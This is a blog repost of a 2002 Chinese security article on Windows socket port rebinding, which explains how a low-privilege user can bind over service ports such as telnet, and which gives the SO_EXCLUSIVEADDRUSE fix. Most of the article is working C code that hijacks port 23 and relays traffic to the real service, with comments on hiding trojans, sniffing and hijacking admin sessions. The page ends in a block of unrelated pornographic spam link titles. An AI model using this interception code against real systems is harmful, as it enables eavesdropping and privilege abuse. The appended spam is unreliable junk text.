• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            公告

            <2025年8月>
            272829303112
            3456789
            10111213141516
            17181920212223
            24252627282930
            31123456

            統計

            • 隨筆 - 9
            • 文章 - 13
            • 評論 - 3
            • 引用 - 0

            常用鏈接

            留言簿(1)

            隨筆分類

            隨筆檔案

            文章分類

            文章檔案

            搜索

            •  

            最新評論

            閱讀排行榜

            評論排行榜

            端口截聽
            創建時間:2002-11-05
            文章屬性:原創
            文章提交:flashsky (flashsky1_at_sina.com)

            作者:FLASHSKY
            EMAIL:flashsky@xfocus.org
            站點:www.xfocus.net??www.shopsky.com
            轉載請注明原作者安全焦點

            在WINDOWS的SOCKET服務器應用的編程中,如下的語句或許比比都是:
            ?????? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
            ?????? saddr.sin_family = AF_INET;
            ?????? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
            ?????? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
            ????其實這當中存在在非常大的安全隱患,因為在winsock的實現中,對于服務器的綁定是可以多重綁定的,在確定多重綁定使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有權限之分,也就是說低級權限的用戶是可以重綁定在高級權限如服務啟動的端口上的,這是非常重大的一個安全隱患。
            ????這意味著什么?意味著可以進行如下的攻擊:
            ????1。一個木馬綁定到一個已經合法存在的端口上進行端口的隱藏,他通過自己特定的包格式判斷是不是自己的包,如果是自己處理,如果不是通過127.0.0.1的地址交給真正的服務器應用進行處理。
            ????2。一個木馬可以在低權限用戶上綁定高權限的服務應用的端口,進行該處理信息的嗅探,本來在一個主機上監聽一個SOCKET的通訊需要具備非常高的權限要求,但其實利用SOCKET重綁定,你可以輕易的監聽具備這種SOCKET編程漏洞的通訊,而無須采用什么掛接,鉤子或低層的驅動技術(這些都需要具備管理員權限才能達到)
            ????3。針對一些的特殊應用,可以發起中間人攻擊,從低權限用戶上獲得信息或事實欺騙,如在guest權限下攔截telnet服務器的23端口,如果是采用NTLM加密認證,雖然你無法通過嗅探直接獲取密碼,但一旦有admin用戶通過你登陸以后,你的應用就完全可以發起中間人攻擊,扮演這個登陸的用戶通過SOCKET發送高權限的命令,到達入侵的目的。
            ????4.對于構建的WEB服務器,入侵者只需要獲得低級的權限,就可以完全達到更改網頁目的,很簡單,扮演你的服務器給予連接請求以其他信息的應答,甚至是基于電子商務上的欺騙,獲取非法的數據。

            ????其實,MS自己的很多服務的SOCKET編程都存在這樣的問題,telnet,ftp,http的服務實現全部都可以利用這種方法進行攻擊,在低權限用戶上實現對SYSTEM應用的截聽。包括W2K+SP3的IIS也都一樣,那么如果你已經可以以低權限用戶入侵或木馬植入的話,而且對方又開啟了這些服務的話,那就不妨一試。并且我估計還有很多第三方的服務也大多存在這個漏洞。
            ????解決的方法很簡單,在編寫如上應用的時候,綁定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨占所有的端口地址,而不允許復用。這樣其他人就無法復用這個端口了。
            ????下面就是一個簡單的截聽ms telnet服務器的例子,在GUEST用戶下都能成功進行截聽,剩余的就是大家根據自己的需要,進行一些特殊剪裁的問題了:如是隱藏,嗅探數據,高權限用戶欺騙等。

            #include <winsock2.h>
            #include <windows.h>
            #include <stdio.h>
            #include <stdlib.h>

            DWORD WINAPI ClientThread(LPVOID lpParam);

            int main()
            {
            ????WORD wVersionRequested;
            ????DWORD ret;
            ????WSADATA wsaData;
            ????BOOL val;
            ????SOCKADDR_IN saddr;
            ????SOCKADDR_IN scaddr;
            ????int err;
            ????SOCKET s;
            ????SOCKET sc;
            ????int caddsize;
            ????HANDLE mt;
            ????DWORD tid;

            ????wVersionRequested = MAKEWORD( 2, 2 );
            ????err = WSAStartup( wVersionRequested, &wsaData );
            ????if ( err != 0 ) {
            ????????printf("error!WSAStartup failed!\n");
            ????????return -1;
            ????}
            ????saddr.sin_family = AF_INET;

            ????//截聽雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應用情況下,應該指定具體的IP,留下127.0.0.1給正常的服務應用,然后利用這個地址進行轉發,就可以不影響對方正常應用了
            ????saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ????
            ????saddr.sin_port = htons(23);
            ????if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
            ????{
            ????????printf("error!socket failed!\n");
            ????????return -1;
            ????}
            ????val = TRUE;
            ????//SO_REUSEADDR選項就是可以實現端口重綁定的
            ????if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
            ????{
            ????????printf("error!setsockopt failed!\n");
            ????????return -1;
            ????}
            ????//如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功,返回無權限的錯誤代碼;
            ????//如果是想通過重利用端口達到隱藏的目的,就可以動態的測試當前已綁定的端口哪個可以成功,就說明具備這個漏洞,然后動態利用端口使得更隱蔽
            ????//其實UDP端口一樣可以這樣重綁定利用,這兒主要是以TELNET服務為例子進行攻擊
            ????if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
            ????{
            ????????ret=GetLastError();
            ????????printf("error!bind failed!\n");
            ????????return -1;
            ????}
            ????listen(s,2);????
            ????while(1)
            ????{
            ????????caddsize = sizeof(scaddr);
            ????????//接受連接請求
            ????????sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
            ????????if(sc!=INVALID_SOCKET)
            ????????{
            ????????????mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
            ????????????if(mt==NULL)
            ????????????{
            ????????????????printf("Thread Creat Failed!\n");
            ????????????????break;
            ????????????}
            ????????}
            ????????CloseHandle(mt);
            ????}
            ????closesocket(s);
            ????WSACleanup();
            ????return 0;
            }

            DWORD WINAPI ClientThread(LPVOID lpParam)
            {
            ????SOCKET ss = (SOCKET)lpParam;
            ????SOCKET sc;
            ????unsigned char buf[4096];
            ????SOCKADDR_IN saddr;
            ????long num;
            ????DWORD val;
            ????DWORD ret;
            ????//如果是隱藏端口應用的話,可以在此處加一些判斷
            ????//如果是自己的包,就可以進行一些特殊處理,不是的話通過127.0.0.1進行轉發

            ????saddr.sin_family = AF_INET;
            ????saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
            ????saddr.sin_port = htons(23);
            ????if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
            ????{
            ????????printf("error!socket failed!\n");
            ????????return -1;
            ????}
            ????val = 100;
            ????if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
            ????{
            ????????ret = GetLastError();
            ????????return -1;
            ????}
            ????if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
            ????{
            ????????ret = GetLastError();
            ????????return -1;
            ????}
            ????if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
            ????{
            ????????printf("error!socket connect failed!\n");
            ????????closesocket(sc);
            ????????closesocket(ss);
            ????????return -1;
            ????}
            ????while(1)
            ????{
            ????????//下面的代碼主要是實現通過127。0。0。1這個地址把包轉發到真正的應用上,并把應答的包再轉發回去。
            ????????//如果是嗅探內容的話,可以再此處進行內容分析和記錄
            ????????????????//如果是攻擊如TELNET服務器,利用其高權限登陸用戶的話,可以分析其登陸用戶,然后利用發送特定的包以劫持的用戶身份執行。
            ????????num = recv(ss,buf,4096,0);
            ????????if(num>0)
            ????????????send(sc,buf,num,0);
            ????????else if(num==0)
            ????????????break;
            ????????num = recv(sc,buf,4096,0);
            ????????if(num>0)
            ????????????send(ss,buf,num,0);
            ????????else if(num==0)
            ????????????break;
            ????}
            ????closesocket(ss);
            ????closesocket(sc);
            ????return 0 ;
            }

            posted on 2006-09-22 15:48 blues 閱讀(160) 評論(0)  編輯 收藏 引用

            久久五月精品中文字幕| 99热热久久这里只有精品68| 久久av高潮av无码av喷吹| 久久精品中文字幕第23页| 欧美久久一区二区三区| 国内精品久久人妻互换| 99精品国产在热久久| 久久99精品久久久久久秒播| 久久笫一福利免费导航| 亚洲国产精品无码久久SM | 亚洲AV无码久久精品蜜桃| 久久综合综合久久狠狠狠97色88| 亚州日韩精品专区久久久| 国内精品久久久久久野外| 欧美亚洲国产精品久久久久| 久久婷婷国产麻豆91天堂| 久久亚洲日韩看片无码| 久久精品国产一区二区| 国产成人久久AV免费| 久久精品中文字幕第23页| 国产精品无码久久久久久| 久久乐国产综合亚洲精品| 丰满少妇人妻久久久久久4| 久久天堂AV综合合色蜜桃网| 亚洲第一永久AV网站久久精品男人的天堂AV | 一本一本久久a久久综合精品蜜桃 一本一道久久综合狠狠老 | AA级片免费看视频久久| 一级A毛片免费观看久久精品| 久久本道伊人久久| 中文字幕热久久久久久久| 国产亚洲精午夜久久久久久| 新狼窝色AV性久久久久久| 狠狠久久综合伊人不卡| 国产精品久久影院| 久久精品国产亚洲AV大全| 亚洲AV日韩精品久久久久| 18岁日韩内射颜射午夜久久成人 | 亚洲精品国产字幕久久不卡 | 免费精品99久久国产综合精品| 久久亚洲精品中文字幕三区| 亚洲精品午夜国产VA久久成人|